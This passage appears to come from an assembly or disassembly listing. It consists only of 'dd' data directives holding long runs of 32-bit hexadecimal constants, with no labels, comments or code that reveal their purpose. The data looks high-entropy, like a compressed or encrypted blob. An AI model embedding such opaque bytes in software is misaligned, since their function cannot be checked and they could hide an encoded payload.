		dd 808428CCh, 72162CD2h, 0E233004Ah, 0F7CFC66Fh, 0EEC3830h
		dd 0A5408C00h, 0E69D605Dh, 64A68877h, 45934CB9h, 0F8CE10C8h
		dd 4FA70361h, 66A5058Ah, 10A00EFAh, 640FCF99h, 25230816h
		dd 1C1E8C8h, 0F5B058FFh, 0ED0E46A9h, 0D0F0A413h, 7B549082h
		dd 647065h, 1655FF45h, 0E0A5FDABh, 0A7A67600h, 673DAE74h
		dd 0EB09C7Bh, 0BE4F578h, 0DF78C8FEh, 9ABC8500h,	21089ECBh
		dd 0C62F0050h, 0CE69813Bh, 0C7E63847h, 0CF88289Ch, 0BAD40E87h
		dd 0A3AE1945h, 0F4DD00A4h, 750E43A8h, 0E2AAE8F8h, 5EFF0D46h
		dd 638159BBh, 86F900D8h, 0B717F40Dh, 0E4E90260h, 7E4ADCBFh
		dd 3C6CEB60h, 0AC599900h, 484B926Dh, 2614918Dh,	7140080h
		dd 8C82B975h, 2000A6F6h, 4B4F26FBh, 11A93D3h, 73A213FEh
		dd 0DC7CDDB7h, 580EDF66h, 0A08EA5DAh, 0D15DC1F3h, 8EEE63Ah
		dd 80BEB2EAh, 50F6BF80h, 2FADCBC2h, 1C906952h, 3C00FAA2h
		dd 17B77BFCh, 18D5234Dh, 2195A77Ah, 0A61673FDh,	30D8FC01h
		dd 42205BE2h, 196145E8h, 0DD00EC46h, 0DA76C1E9h, 0FCFFED33h
		dd 56490125h, 0C227343Bh, 1F2C207Dh, 39C0122h, 0BB1193A4h
		dd 0A294E118h, 56540024h, 0C38D4676h, 26849057h, 1F8247D0h
		dd 0D6BE1C23h, 22E02303h, 4F00B178h, 2B508B85h,	145355A5h
		dd 0D85F01ADh, 0CC14C897h, 0D264A200h, 0BB89B3EDh, 500DE03Eh
		dd 66400Ch, 0E6A45140h,	1F2819CBh, 0ABF25E1Eh, 0DC8DC600h
		dd 53B66A90h, 6C07B453h, 0B0DF0F24h, 6B489EFEh,	8374665Ch
		dd 26A50EC3h, 808C38F8h, 0E2E887C2h, 0A43D5214h, 0B40FAC9Dh
		dd 248C6645h, 0A8853E51h, 9CC2917h, 1CA84588h, 437C019Ch
		dd 21DE0D7Ah, 53A6E000h, 90001575h, 1187446Dh, 3724973h
		dd 8517AFF9h, 19187046h, 6549EA9Dh, 5FD83E3Bh, 0B060106Bh
		dd 0A08A9692h, 0E51C5538h, 24F0B67Eh, 9A112Ch, 26D85223h
		dd 97EE683Dh, 0A7971018h, 78FE280Dh, 20916812h,	54DD00F8h
		dd 2D6A6B46h, 66B60949h, 98669188h, 9076A0CEh, 0C0A38E25h
		dd 59056A7h, 4A01BC68h,	0D875C552h, 4CC17D43h, 0F09D078h
		dd 0CC45C76Bh, 94581E3Ah, 0DDAAC0C0h, 12CA1609h, 0C8EF9DB8h
		dd 2B3E7B64h, 420A8918h, 80E07968h, 843C9EA3h, 0E0C57347h
		dd 8CD1391Ch, 0E0C27CAEh, 4529AC4h, 5F6DBA50h, 20692281h
		dd 2F99D9FEh, 0C049B700h, 0C3E53CD8h, 71D42820h, 97BC4BECh
		dd 4BE60470h, 0B9D01044h, 1F4B0E9h, 1BA7866Fh, 99CD7419h
		dd 4539B388h, 0DC460F2h, 881102A5h, 9705F968h, 0BD066464h
		dd 661FE13Ah, 0A5450091h, 6C6E10DCh, 0BB011D7Bh, 6A4A513Dh
		dd 4042E4FFh, 0D3162095h, 0EE013B7Bh, 9DBC7C8Eh, 9C723CE3h
		dd 68AE1401h, 644DC485h, 4C441858h, 0B4A65C45h,	0B0E47939h
		dd 3080E80Eh, 0E06521C0h, 4CBF001Bh, 4F5B868Ch,	0F0AADEEh
		dd 0CBBEFA58h, 5311DF06h, 443D44D0h, 26B02CB6h,	24035DFh
		dd 21A571B1h, 0ACE002A3h, 0F7507CC0h, 0CCA466F0h, 989C7E22h
		dd 35794294h, 5CA228DBh, 844311h, 2CAB3435h, 0E3D4153Fh
		dd 1E31C5E0h, 1CFEFB2h,	2E4D90CBh, 8D28600Bh, 8CD1AB4Ah
		dd 0B022EEA6h, 0AE8A1274h, 46780045h, 0A04F7D48h, 0F9DCF112h
		dd 8873B0A4h, 491D144Bh, 1AC03F71h, 79BD33B7h, 0A6FF007Ch
		dd 0E644EAB1h, 0CA18CED2h, 1418CF82h, 10623EDAh, 588DA207h
		dd 0FEFC80C0h, 814A10Ch, 0ECB892h, 0B08E8050h, 971FC04Bh
		dd 0B8026489h, 4F274C24h, 0B4668839h, 6601B829h, 23914944h
		dd 0FC04B08Bh, 6A4B00C8h, 0D440F94Ah, 2D99F3DBh, 0EA5305F1h
		dd 0B03C1762h, 0F08B9D6Ch, 75B8E39Bh, 0B95C0028h, 9713B55h
		dd 0B400D347h, 0DD232564h, 0B94F4EB2h, 0DB388024h, 0C6E207E9h
		dd 260A02F2h, 0D468BEACh, 3162C580h, 618D82h, 69B30BD6h
		dd 6D1AA8EEh, 80A76338h, 51EDC3AFh, 0F4DC9FCh, 6538B9CEh
		dd 0B316B261h, 6C198452h, 0F8A39A64h, 0E6752800h, 485D4E30h
		dd 8A0548C7h, 0DDA92900h, 0CFB6018Fh, 4A4F2209h, 7C4840C0h
		dd 7602B112h, 9051E2E5h, 87E8C0FEh, 71610067h, 337B8F60h
		dd 80E06EA8h, 0B23E7E00h, 4BB30A09h, 0A2A600AAh, 16A5F3FBh
		dd 52002867h, 45A98CCDh, 0C17CDB3Dh, 6B7E98A1h,	76087819h
		dd 0C04B5832h, 3DF919A0h, 9DB00C0h, 0F3DCD8A6h,	0AC9B00B2h
		dd 22CD3E03h, 6A50EBC1h, 68C08A08h, 610694A4h, 24350F86h
		dd 5322FEEDh, 0FCC48BE6h, 85106400h, 68ADB2B6h,	19FB6792h
		dd 6CEBD028h, 44A09563h, 3C0BFF4Fh, 0A54653h, 702FB731h
		dd 74E8DDh, 96B8B02Bh, 0FE1F500Ah, 3D4820E7h, 0EF09FB78h
		dd 59AB31C7h, 54803C50h, 0E0665864h, 3003B72h, 0C21FC94Ah
		dd 437EB2Eh, 84E7609Eh,	408AC64h, 4BC37701h, 89CC1712h
		dd 6B34F0ACh, 74D99218h, 2CE455B9h, 6C1C8Ah, 937B5344h
		dd 50FA99E5h, 47318500h, 9DD2DF72h, 800496E9h, 0C99B93A5h
		dd 0A1852A7h, 6878CB09h, 0DCE54CECh, 52A983A0h,	0B6DD7600h
		dd 0EAB09562h, 0E1590E92h, 1E690556h, 0B851B8EAh, 0DFDA7E00h
		dd 236C709h, 6D189F50h,	0C472BDBBh, 840068FCh, 0B3FBB1D0h
		dd 98252DE5h, 0DCB44B40h, 84807E40h, 3B589EECh,	18909774h
		dd 7036641h, 62572212h,	24E4846Ah, 0F87600DDh, 0A8F4999Dh
		dd 4D26DCA4h, 9429A09Fh, 8D00B4ACh, 58F76EE1h, 91460251h
		dd 0CFF2A030h, 691D1464h, 79D36838h, 841A54B0h,	97781858h
		dd 602B3889h, 0F2930DBCh, 87335500h, 92DC38B0h,	115E63h
		dd 9D220CB0h, 4F0A656Bh, 4077B950h, 5BEFFE89h, 76E00FA0h
		dd 0F19BAFC0h, 0B5007AD1h, 5C05645h, 3E8542Ch, 83B14CB0h
		dd 6058374Fh, 600A4CC8h, 0ADE1799h, 0C2858ACh, 2F94A2C0h
		dd 0B701E588h, 76AF7F60h, 19C0824Fh, 0B6D000F9h, 7CDAFDF8h
		dd 57129CBEh, 6827C12Eh, 9AD8340h, 0B5232C82h, 7345011Bh
		dd 0FC5B6B0Bh, 0DD5C9C6Dh, 8F43C01Ch, 3639CFh, 6226E104h
		dd 1BD6D16Bh, 0A066692Eh, 93673B00h, 0A8FB6D89h, 7AA71Ch
		dd 0BA953AEDh, 54E4D88h, 9101D8FEh, 0D3176068h,	0B47CF20Ah
		dd 2054897Ch, 0E4916D38h, 18E49D89h, 0B91DE1A0h, 534501A8h
		dd 38E3A039h, 0F8C58318h, 1B10017Fh, 0A05164BCh, 9E3428E5h
		dd 846B4303h, 447118F2h, 0DB9469A2h, 0F59F360Fh, 0FEBC0A9h
		dd 2793B118h, 0ACC1E460h, 10A5085Dh, 506F5644h,	0B72DFC44h
		dd 0CC44407Bh, 4C754104h, 4400FE2Ch, 0DAC2C3DBh, 0B32258h
		dd 82ECBB4Dh, 2CE595BEh, 3D53C904h, 0F4BCFC46h,	0D264AAC0h
		dd 19D439E8h, 44FA20A8h, 74B0EB4Ch, 0C022F94Fh,	8921920h
		dd 161979DDh, 0A2827C6Dh, 32048048h, 6A16A2h, 55705ED3h
		dd 0A7B0B2F5h, 0F3BAD4A0h, 0A9EEF140h, 850C1534h, 43520984h
		dd 0ECF1A550h, 66751300h, 73A57h, 475BBD34h, 6A58E6D9h
		dd 39DF9230h, 9757FE55h, 4A661010h, 0DC94DE01h,	0F1720C1Bh
		dd 37AC202Fh, 0AA052BEFh, 0A80D8248h, 4C007CC4h, 0CA65F47h
		dd 23CA004Eh, 0F873D2DCh, 500499D8h, 957A6DA4h,	90E0784Fh
		dd 0A79A19DEh, 4B68D0C8h, 0DD15B8C4h, 2E304553h, 910060CCh
		dd 80070D52h, 9D5C006Eh, 0DE61410Ch, 8CB6A7FAh,	80804314h
		dd 7904FCEEh, 9DD100DDh, 0E9E84058h, 80277B26h,	7904473h
		dd 20ED2250h, 638A80AAh, 0DB270CFCh, 2814C0DDh,	0E131876h
		dd 73D78914h, 0DF79A302h
		dd 0D60168AEh, 40844478h, 5CE10C5Bh, 2E0A008Fh,	0D8189C02h
		dd 850B4D87h, 8F8AEB49h, 0A0052B98h, 63541BC0h,	80A4BE96h
		dd 4D01A473h, 832768A9h, 5C444Ah, 8FCA8EC1h, 76B3A867h
		dd 0BF02DE09h, 535C879Fh, 0E03EF8A7h, 29866942h, 0AC1A00A2h
		dd 0C0EEC3DFh, 410056FBh, 30AE22D5h, 2D92185h, 0F3FCFD2Fh
		dd 0C8C079CAh, 28070542h, 0A03DAEB0h, 19D3E610h, 0CC2A1EF1h
		dd 0FE15C0F8h, 38ADD7Ch, 1756EB09h, 0F08C728Dh,	19FE46h
		dd 0EFE20B37h, 56603536h, 0B9B89D00h, 3E612E0Fh, 0E76409D1h
		dd 0E18044h, 3872EE6Bh,	0A18DF302h, 0D658CF15h,	663E406Ch
		dd 4D2F7E16h, 0A5148053h, 5B7B24DEh, 0E4684055h, 7415F9C4h
		dd 82B1633Dh, 0A054A64Fh, 975066E7h, 1C141401h,	0F149803Ch
		dd 4228048Bh, 64C8002Bh, 0E3F7E9Eh, 11C22A0Dh, 49B68766h
		dd 0A10E544h, 0C7F042DFh, 0BA7301Eh, 83485C8Bh,	484517DDh
		dd 0CF100CD9h, 0E5245074h, 4D894B5h, 0E00B7FE3h, 303480F9h
		dd 0F21289DBh, 84A0DF1Ah, 3C8D427Eh, 4E20D0F0h,	75700789h
		dd 33902C85h, 38F62FFEh, 4D9DB200h, 7EFF17CFh, 1CA7488Eh
		dd 3442B100h, 7CA449E9h, 0E785F902h, 0D64C32DAh, 1AB46004h
		dd 4E00BC20h, 3010EE9Bh, 9EDB91F4h, 0B2B9479Ch,	80D7D844h
		dd 0EF3A212Ch, 91970138h, 8969BAA5h, 0C8387187h, 0A6F0D2A9h
		dd 9519CC07h, 8F4063E6h, 5C4ABC66h, 0FB0FD833h,	52824BF1h
		dd 0BB414C16h, 0F43CE0h, 6591DC76h, 0B54849h, 0F8920C94h
		dd 72241BEAh, 0E6ABE500h, 639C19A3h, 85D20710h,	891C44B8h
		dd 7208408Ch, 38BC8600h, 0C8568765h, 271801BAh,	0DB3FF8A0h
		dd 0EEC240A5h, 9400631Eh, 70C31632h, 9C0CA21h, 741C27EFh
		dd 0C4BCB853h, 0B4D300B5h, 0FE845AADh, 20FC533Dh, 0D5481A01h
		dd 260924CDh, 0FAE0D0h,	6B29B55Eh, 27BA50FBh, 0B9532802h
		dd 5E7496A9h, 5AB40E0h,	70A845Dh, 8BF162Dh, 82FD0209h
		dd 2B4E8600h, 0A27B78C4h, 26E40C00h, 0DCC6285h,	0C7EC94h
		dd 9732CD03h, 0E28E7427h, 0C0711C2Ch, 28C0F4A6h, 276DC10Fh
		dd 54BBC979h, 3E41D400h, 239BCE75h, 805D0154h, 141597D3h
		dd 6C082A9Dh, 1BE20E73h, 84E239BBh, 0F513081h, 66BA01AAh
		dd 0A0734700h, 7BB90C4h, 70FB4507h, 92D1D6A1h, 192F8800h
		dd 6B46530Fh, 41889C62h, 73606DA6h, 0A8F8E48h, 72025C0Bh
		dd 6124DBAAh, 1ACD2060h, 9C63960h, 0FEB56FDEh, 2D00C072h
		dd 0A3E54C52h, 0E85BBB8h, 648FA9F2h, 68652940h,	3B1FF991h
		dd 2E804597h, 0A4905470h, 86480B47h, 9C0EF355h,	4374C353h
		dd 24D4F140h, 0AF0E5900h, 1C0B6CFAh, 0A9D09654h, 720380D8h
		dd 0F54F5032h, 0C3E03B00h, 45A6B30Bh, 30870144h, 0A892BC90h
		dd 8BC06895h, 0E4C061A4h, 38B305h, 0D8034E26h, 0F4EC55h
		dd 9AE09F85h, 28ED0ED4h, 61960B1Ch, 92A6817Dh, 7EA54AD1h
		dd 0F1899468h, 200680E8h, 0AF4D7404h, 48B51DE2h, 0E85B8003h
		dd 134E423Dh, 82BA918h,	4CA8EB04h, 1470E55Ah, 235421Ch
		dd 3C036BFBh, 20C873AEh, 303A0B78h, 0C8CD3C6h, 19532D86h
		dd 0EC91979Dh, 80B4283Bh, 0C80F57F7h, 23DA0055h, 32C508Dh
		dd 6500F309h, 7482F899h, 48497D0Ch, 462538AEh, 3D850C10h
		dd 6C3BFC0Bh, 10245163h, 1E0AC0F2h, 364A8C3h, 838E04Ch
		dd 468045B0h, 0E1748CFh, 0E8A286FFh, 804C9E77h,	9E6663FCh
		dd 109D53B4h, 28C7B734h, 2494514Fh, 8974227Ch, 7C8BCBDEh
		dd 0A066D810h, 1553B000h, 0BE76B53Dh, 10554CF9h, 1CE13C06h
		dd 909D2959h, 789B1248h, 8D30099h, 19694855h, 6D0293E5h
		dd 1766AE6Bh, 38DA43h, 262AA0B9h, 0A16107Ah, 3F613200h
		dd 9C358E20h, 3D6B244Ah, 9611B0h, 15BF97F3h, 14A6562Eh
		dd 0A489F97Eh, 3DB78B05h, 90B88151h, 0F3C3243h,	0C3FE9EA3h
		dd 0C8DAC8B0h, 25CB880h, 9F9D301Eh, 94C1DB5Bh, 18A815EEh
		dd 0AFF4F880h, 0DE0031FEh, 3A1801BDh, 16A05605h, 825378F2h
		dd 701266D0h, 78365CC4h, 4C1122Fh, 78C42984h, 6EE00E00h
		dd 8D484A66h, 0C8D04981h, 0A3AD47C0h, 2613CB06h, 9CE70D2Eh
		dd 4BEF100h, 0DC917079h, 8FB882B7h, 0C1F520E6h,	0FF0076E3h
		dd 9A7EAAD4h, 4AA61CB4h, 0DE34890Eh, 0C00034D2h, 87DE27EBh
		dd 1DC44D65h, 807DFB2Dh, 4FACA630h, 76131FFFh, 68E0773Dh
		dd 3CE305EEh, 28DF9268h, 0B00AA94h, 0EC2F7991h,	0B9A88A85h
		dd 328C6474h, 28A8401Eh, 14DE7EC4h, 144C317Ch, 5445A020h
		dd 22E23089h, 0D7173059h, 0C5E5F10Bh, 0B7DE00B4h, 9B9EC4A4h
		dd 8F500B7h, 8401B9h, 65A8184Bh, 0DA36E832h, 0DF9F1C05h
		dd 48C1AE2h, 5410E3FAh,	19C055FEh, 0EB8F0ED0h, 0BFFC0Fh
		dd 9E5C2EDFh, 0E4B8257Ch, 21DDF50Eh, 0D8C040B2h, 59BC1C8Eh
		dd 4580C064h, 0B919DBA6h, 0BF20873Ah, 53C297C5h, 46C95CA3h
		dd 67E3D880h, 974EDE83h, 33803860h, 0B012006Ch,	0CDC7F7EAh
		dd 451FC4CBh, 542C7989h, 0C891C117h, 0DD12FCFFh, 44CA04C0h
		dd 66F1A00Bh, 268868E6h, 49ED226Bh, 9441444Fh, 89C8A57Ch
		dd 0E5CA46E8h, 142E3891h, 15C4C8Eh, 30ABFBF0h, 0A3CCD63Ch
		dd 71D00F5h, 0AE9E02D0h, 0C4480F33h, 0E03D2DCCh, 6273D4E4h
		dd 688BA899h, 73D186Eh,	592180A4h, 6FB70F0Bh, 0FF6238EAh
		dd 173C1401h, 6A1641EDh, 22861C21h, 0ADC243Fh, 8ACB1BCh
		dd 9580F6EDh, 4ABBA9BDh, 0FF48004Bh, 0ED223CF3h, 0A5541656h
		dd 40863724h, 87B54A84h, 2641C30Ch, 227E337Bh, 54D2C66Ch
		dd 5B07A4Ch, 5C1C54DCh,	8DBC74A8h, 83005891h, 0B52836D8h
		dd 10A73B4h, 0F86892B1h, 0C44F533Ch, 28989522h,	0C2762900h
		dd 11DC78C5h, 0D4FB5275h, 0E1C0985Ah, 68D4174Ah, 2C8E04FCh
		dd 0ECBA6B00h, 0B7014A10h, 81400280h, 0FDE40FE0h, 0B6B317DAh
		dd 3DCB215h, 6FDD48FCh,	2CC9C566h, 80446042h, 634C1B6Ch
		dd 1DBAE069h, 272E2Ch, 0F02F2BC4h, 3877F8C3h, 0C428B026h
		dd 50762FBAh, 5F6498CAh, 0C76C4B73h, 0F76A9898h, 5181FA61h
		dd 19F8F0A5h, 8EF61DEh,	2A01C2B2h, 48A6E889h, 0E7476EBCh
		dd 0A4625B04h, 0CC06541Ah, 83DC87Ch, 0B0561E19h, 813FF90Fh
		dd 856883D8h, 0DD090872h, 0BC68F19Dh, 5CB06A6Ch, 9743F713h
		dd 847204F4h, 4EB19002h, 91E25015h, 71F1469Ch, 8F0C68F9h
		dd 0B774A09Fh, 89AFEFh,	1BE7C43Ch, 2F6ED4B4h, 9016E112h
		dd 54ECDC25h, 8B8C2880h, 0CA587B6Dh, 44512F14h,	0D6E60040h
		dd 9D503469h, 0EE7ECBAEh, 226F0400h, 0D07B3249h, 357E619h
		dd 6674637Dh, 47DB5BC0h, 393A82A0h, 3F9AE600h, 0FCB3D490h
		dd 0CD0C24F9h, 81BF078Ch, 0F2121F37h, 3C8C0080h, 0A02B5702h
		dd 0E414BFE6h, 0B5301300h, 71AC9060h, 0BECD1E2Ah, 0C0E40FDh
		dd 0A1C57ABBh, 5D352400h, 7B05C656h, 0CA1E0059h, 0A0E6366Eh
		dd 0F40310B8h, 0F2E630Dh, 45AD98CDh, 0F6A6A26Bh, 1DC9680h
		dd 0A7B1F356h, 599020DDh, 0E676D002h, 0D1852825h, 7D6B009Ch
		dd 24BB88D3h, 7A30411Dh, 554C2942h, 0A4F4C028h,	411C9686h
		dd 0C0F1482Bh, 0B400D9C6h, 509B3C5Ah, 7B36C8Eh,	387930ECh
		dd 61B841EBh, 74203AE1h, 0B1B7AAADh, 979830DCh,	2205F70Bh
		dd 0CA168E05h, 0E2B00807h, 0D4341B8Bh, 670D034h, 5200832Dh
		dd 720C8809h, 35B040Dh,	61943446h, 0F2C903FEh, 7F88C4A5h
		dd 7C322E1Fh, 25342101h, 0E0FF91F6h, 8A5275h, 0B6C37445h
		dd 636C984h, 1761541Fh
		dd 0FB06641Fh, 0D289633h, 4A0DA809h, 9EEDE070h,	6582A400h
		dd 171CFEDDh, 954B1E32h, 0BE81012Ch, 30A44ED0h,	0CFF0DE6Dh
		dd 5ECCA06h, 0F2414643h, 3A4704Ch, 1CD9ACF7h, 9100B629h
		dd 24EC8EA3h, 96925Fh, 5C73EB01h, 383171D4h, 43341F05h
		dd 60548FF6h, 0A4FF0056h, 0AD4E6681h, 0E7890054h, 0DD0E3E64h
		dd 281837EAh, 2C31B129h, 0B0BA004Dh, 0B285D308h, 66FC214Bh
		dd 739FBC15h, 0A59500A8h, 0D7543889h, 80A412h, 7798E7E6h
		dd 6E0D6361h, 8072D639h, 824D9F42h, 0E8B5A3C4h,	95E00011h
		dd 7D0C7B36h, 0A4A189E6h, 8C4130B2h, 886BE501h,	9F13FCEFh
		dd 0FFAB599Fh, 569C2600h, 0F93D8A80h, 0AD5289F0h, 34F607BCh
		dd 145078CBh, 46CFB6h, 742B89B1h, 75DA27F8h, 0FA70870Ah
		dd 863D0873h, 43892E78h, 0A47700D0h, 4F76F4D9h,	5E072AE8h
		dd 470893D4h, 958E7840h, 0A38630FCh, 83ECC271h,	118B1430h
		dd 7C88A7h, 8A207F08h, 5EFFAA13h, 0E0D56C0Ah, 3BBAE851h
		dd 3CE4D04Ah, 0C08D1488h, 0E9D53A41h, 3301F61Ah, 0F454DEA7h
		dd 85C40D5Eh, 375601E7h, 8860A151h, 2E2840FAh, 20C0107Ch
		dd 1961A405h, 51876014h, 0C0639B9Fh, 0A5C35900h, 5EFB44D6h
		dd 18807918h, 292C8C3Dh, 4626EE88h, 0DD002BADh,	2A36BADFh
		dd 104501B1h, 79601E43h, 8FB3C006h, 9509CCEEh, 80D0500Ah
		dd 6505B14Dh, 691A0036h, 823FF6BFh, 80910EB3h, 79D55900h
		dd 1F8B8F08h, 0CCB11F67h, 1D79760Dh, 73412200h,	86C55C53h
		dd 0D41A0B34h, 7A00F54Ch, 3EE1783h, 16020B09h, 80D00AA3h
		dd 0C042F263h, 83D90Ch,	495F862h, 0FDA7352Fh, 3DC7E901h
		dd 0AFB6301h, 40FEC820h, 0F998AF08h, 56F7D803h,	0B846BF32h
		dd 60FB3EE1h, 0DE095934h, 0C1C04910h, 2DEE6465h, 0DDC30104h
		dd 5B3AB36h, 0B2BC1079h, 39F90287h, 76A2B655h, 81A85E40h
		dd 0EC7A4892h, 96C15B00h, 0F38749FAh, 0A0C89220h, 79230674h
		dd 28C2620Ch, 0D1807E69h, 2B1C7686h, 0EB5287FEh, 14350DF4h
		dd 489F5954h, 0C0F2143h, 0A661E029h, 0D72C540h,	7459302h
		dd 80A1F5D1h, 0F942D9D9h, 0D24682h, 651E3F21h, 0D1767030h
		dd 0DE0CE70Fh, 0C17AABBh, 0FC0DA505h, 4B899C40h, 6C0429h
		dd 653EE678h, 0FC119BFEh, 0BE3C5309h, 0AB1C902Ah, 4A678E2h
		dd 347DF913h, 0B5E4916Ch, 60FDA0Bh, 1C1440Eh, 36A96D2Eh
		dd 4012BF72h, 0F48789A5h, 20D40AF4h, 0F89C22F0h, 395461EEh
		dd 0A885BC29h, 977EBA18h, 0E9131500h, 6220785Fh, 3DDE00FDh
		dd 5575BCDh, 9407DA0Ch,	0FD153C0h, 7AA19030h, 502C7886h
		dd 51060847h, 0E4021434h, 0F33C829Fh, 7E2E2051h, 0B37F76F8h
		dd 5BF66700h, 1C7C8F0Ah, 0C83C0AD4h, 80840B2Ah,	9BDA93CCh
		dd 0D30CD1Eh, 7A3AD171h, 924300D0h, 73C590EEh, 0A500697Ch
		dd 3937CFF7h, 84E134h, 90461E29h, 27491A40h, 0F3D2830Bh
		dd 667B8322h, 0D0F2E005h, 0FCBC0A3Eh, 8549032h,	0B28950F6h
		dd 0C78C9369h, 98701EC7h, 9CB2A7Bh, 8BE6796Eh, 9F4B1880h
		dd 1A00C32Dh, 8FDED605h, 0A199BBh, 0BD3848D2h, 0EAB2DCB0h
		dd 836BE00h, 0D90F52A2h, 42449A55h, 143A14FFh, 0A0D08F98h
		dd 0D5A23153h, 32C09894h, 4E5AEA81h, 0C1D7C068h, 0F685BF1Ch
		dd 5DCF9480h, 152B09B8h, 0A0B52ACAh, 6357900h, 2738A760h
		dd 7301E5E4h, 21325A2Eh, 0B8214DD2h, 0ACF44CDAh, 8A2E2498h
		dd 0D2F451CCh, 9A5C3D00h, 51062AB3h, 0C7781290h, 142846B7h
		dd 0E000C98Ah, 673A66EFh, 122D0B5h, 15F8E230h, 0C4F93918h
		dd 0E2CFF87h, 0FB0C9C04h, 7094188h, 0C76BC940h,	1BB350D6h
		dd 3400B058h, 22B469F9h, 14E8FE1h, 0EBA56184h, 0FDFD6C99h
		dd 0E5D6D013h, 551AEC00h, 80691F8h, 7803F836h, 0E29024Dh
		dd 69193110h, 4250BC84h, 66A5CA80h, 0F07600B8h,	0C8B3B9D8h
		dd 0FB3E42DEh, 0A5996030h, 99116996h, 0A7430008h, 0C3FDBDE4h
		dd 290A7830h, 7252B8Ch,	76BEBAE5h, 2463833Fh, 47EB110Bh
		dd 98188E62h, 0C97A71h,	0B0FD026Ch, 0BFC4B3F1h,	0E1E56B00h
		dd 35A1D378h, 2F0800DFh, 5F36892Ah, 4818F734h, 93104F0Eh
		dd 0DEF91C1Bh, 87574320h, 29008827h, 170810A2h,	1268AB5h
		dd 87502156h, 0CC642865h, 14311846h, 0F15FC973h, 3DB09FD4h
		dd 0CB83A5B1h, 3EB5564Bh, 0EB4D3B0h, 130A3C3Fh,	3C200D50h
		dd 98A4CDAh, 0EE8B2E6Ch, 0C4327499h, 7417EB07h,	521E28C8h
		dd 8BA39EC2h, 0F6106081h, 0AF6807A7h, 3AB101EAh, 0D9118108h
		dd 500E5B98h, 728B48A4h, 0D1A7BB05h, 0C1E2A5Eh,	3800F95Ch
		dd 0B56951Ah, 189DB864h, 0D1A45816h, 1F900C6Dh,	86F48100h
		dd 0DBC93D0Dh, 209D60C4h, 1A619C34h, 0F888621Dh, 4429D172h
		dd 0EF37279Ch, 8200FDD6h, 89B0A94Dh, 4FBF069Eh,	3153F787h
		dd 119558A1h, 90296D2Dh, 0BA87AC0Eh, 3F01B380h,	9E0AA3DFh
		dd 9078C40Fh, 5A80529Fh, 6AD4EEBh, 44465835h, 33ACFCC0h
		dd 95784789h, 0A1D13109h, 78C0024Eh, 0B210C47Eh, 995B1B14h
		dd 60C128AAh, 51B03A01h, 6851507Fh, 2F8540BDh, 617A9603h
		dd 0C7F0B182h, 74014B60h, 0A97FEFh, 0DBBBF62Bh,	230E7B1Fh
		dd 0A44CD129h, 4643803Bh, 16151DAh, 648112DDh, 2BA483F6h
		dd 7BC1025h, 794C78C0h,	37050552h, 6763E665h, 0D8398070h
		dd 0F84C871Ch, 0F007D67Ch, 3C0A32EDh, 8E463984h, 0AEC7B0C0h
		dd 0C3781A81h, 0D0C6D1BEh, 4DD4400h, 86AAA132h,	0D74800B4h
		dd 1B8E2EB1h, 0E1E78C6h, 2CEAD117h, 71D03764h, 5601BD08h
		dd 620DD9ADh, 79969180h, 393DD082h, 630B6D00h, 0A32D7F76h
		dd 9F3A00F8h, 275B812Ah, 215CB62Bh, 1529CEC4h, 66FF0080h
		dd 0AF351810h, 0E974A0E8h, 1CD70802h, 0D4016D1h, 0B5BE66Dh
		dd 648AF12Dh, 0C0193409h, 8F71F14Fh, 0C0AE9361h, 0A717AD82h
		dd 0B00D5CE6h, 58221880h, 8404055Fh, 89AB9AB1h,	34504CA3h
		dd 0C924070Eh, 4677DBE2h, 9B98A9B2h, 42039672h,	11B172ACh
		dd 0E639058Ch, 0E7DEB5h, 6AB49FF1h, 0A2E6A937h,	5CBA4307h
		dd 6640828Ch, 0E0EAA8A5h, 0F9D3969h, 0A05AB88Fh, 8C6CCFC4h
		dd 0AD012740h, 3791D799h, 0AC7064C0h, 9EC20058h, 5EC6AE1Eh
		dd 0C30C5D14h, 0B981AD7Ch, 18EA15C7h, 621F74DAh, 0F0F680B5h
		dd 486719F4h, 0E306A8EEh, 820EB603h, 5EDD0139h,	0B2C5E1CCh
		dd 8468227Ch, 4888DDD5h, 49F37751h, 1D0068FFh, 0D081A6C7h
		dd 10B8EBCAh, 4BD11480h, 5D1F20A0h, 2E64E617h, 3480C420h
		dd 0C7650E39h, 2361FFFEh, 400BEBE5h, 140E79ECh,	208090B8h
		dd 2CA13405h, 0C97085C3h, 0C849B42Ah, 0B6420004h, 0E95F10FEh
		dd 359FA5C8h, 0D0E2687Ah, 0D7C14B58h, 1476C205h, 53809615h
		dd 48CAC381h, 5C44BDE8h, 85268648h, 0C60E94E7h,	36068417h
		dd 492090E2h, 5824FF42h, 0F34A470h, 2DE6F6DBh, 0C2008184h
		dd 39F350D9h, 3B8DB280h, 4800FCBAh, 0F7D3DDADh,	30FEDCD2h
		dd 930090A4h, 6DD69AC1h, 178B396h, 0DEC7737Ah, 236AB2BEh
		dd 0B6B40470h, 2780B5FAh, 0F5D60Fh, 6894069Ah, 872D5EE3h
		dd 8EE81C0h, 3C67C0h, 0B9DC0B1Eh, 9B80F207h, 38475800h
		dd 0DB78CBE4h, 0C4B89CC0h, 0A41D5282h, 0B0040D22h, 405921FEh
		dd 0C577DC04h, 0F0AB4094h, 3F201E05h, 790CE430h, 6ADE0AD7h
		dd 20ECFA51h, 30185C08h, 6B8AF000h, 78B12B0Ch, 49C0FB72h
		dd 0DAC428F6h, 0BF71E0Ah, 8901436h, 0BB9E0900h,	400C6CA3h
		dd 0A6004298h, 977DC5ECh
		dd 52B64478h, 950A8424h, 60A05F14h, 3860E2EEh, 0D5E31F00h
		dd 2FB2C7B6h, 0E4E107F1h, 0D029A2B5h, 0D6918242h, 0C06C301h
		dd 61019883h, 16ED5020h, 0CADC94h, 0E80D33D0h, 0E30051E0h
		dd 45CF1DDBh, 2FB7625h,	0C678850Ah, 6901A288h, 60238BF6h
		dd 658490Eh, 60176740h,	0A54A2E7Fh, 9E641448h, 0C92F9F95h
		dd 18C4FC98h, 8CF6C200h, 0B296BC84h, 775B06BFh,	6986A7C4h
		dd 417A2E30h, 4F87F7h, 7307DE1Eh, 4A4DE30Ah, 0A4EFFC05h
		dd 80C12A89h, 48680E6Ch, 69B32986h, 0CA9C2300h,	6FBAC669h
		dd 9A8E0042h, 1F632BA9h, 10001599h, 25C895DEh, 4854E1D0h
		dd 64C03C0Bh, 7AD238B6h, 9EDA7700h, 0BC353ED4h,	21B8003Fh
		dd 7CA6C17Fh, 442E61F7h, 0B600FC38h, 52C795AEh,	79810C65h
		dd 0E50896D1h, 9F190A14h, 4DF805F4h, 0A8471413h, 0EE008109h
